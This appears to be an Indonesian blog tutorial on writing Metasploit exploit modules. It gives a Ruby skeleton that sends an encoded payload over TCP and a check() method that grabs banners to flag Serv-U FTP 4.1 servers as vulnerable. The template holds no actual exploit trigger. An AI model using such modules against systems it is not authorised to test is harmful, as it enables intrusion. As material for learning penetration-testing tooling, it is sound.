Format menulis exploit pada Metasploit sama dengan membuat Auxiliary hanya ditambah fields saja.
- Selalu ada blog PAYLOAD. Selalu ingat bahwa Exploit tanpa PAYLOAD adalah Auxiliary module.
- Membuat 1 daftar Target.
- Definisikan run(), exploit() dan check().
=============================
Contoh Struktur Exploit
=============================
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::TCP
def initialize
super(
'Name' => 'Membuat Exploit Module Sederhana',
'Description' => 'Modul ini akan mengirimkan payload',
'Author' => 'CyberMuttaqin',
'Payload' => {'Space' => 1024, 'BadChars' => “\x00”},
'Targets' => [ ['Automatic', {} ] ],
'Platform' => 'win',
)
register_options( [
Opt::RPORT(12345)
], self.class)
end
# Mengkoneksikan port, mengirim payload, menghandle, dan mendisconect
def exploit
connect()
sock.put(payload.encoded)
handler()
disconnect()
end
end
==========================
Mendefinisikan Vulnerability Test
Meskipun jarang diimplementasikan, metode pemanggilan check() harus di definisikan pada module exploit anda.
- Metode Check() memverifikasi semua option kecuali PAYLOAD.
- Tujuan dari Check adalah untuk meyakinkan apakah target vulnerable atau tidak.
- Kembali mendefinisikan nilai check.
Nilai dari module check() adalah :
- Checkcode : Safe (tidak dapat di eksploit)
- Checkcode : detected (service dapat dideteksi)
- Checkcode : Appears (versi vulnerable)
- Checkcode : Vulnerable (ada celah keamanan)
- Checkcode : Unsupported (check tidak support ke module)
============================
contoh check() method
============================
def check
# Koneksikan untuk mendapatkan FTP Banner
connect
# Disconnect apabila sudah mendapatkan self.banner
disconnect
case banner
when /Serv-U FTP Server v4\.1/
print_status('Mendapatkan version 4.1.0.3, dapat di eksploitasi')
return Exploit::CheckCode::Vulnerable
when /Serv-U FTP Server/
print_status('Versi tidak dikenali,Try It!');
return Exploit::CheckCode::Detected
else
print_status('Kita tidak mengenali banner server target lho !!')
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
===========================================================
Silahkan Tulis Komentar Anda ...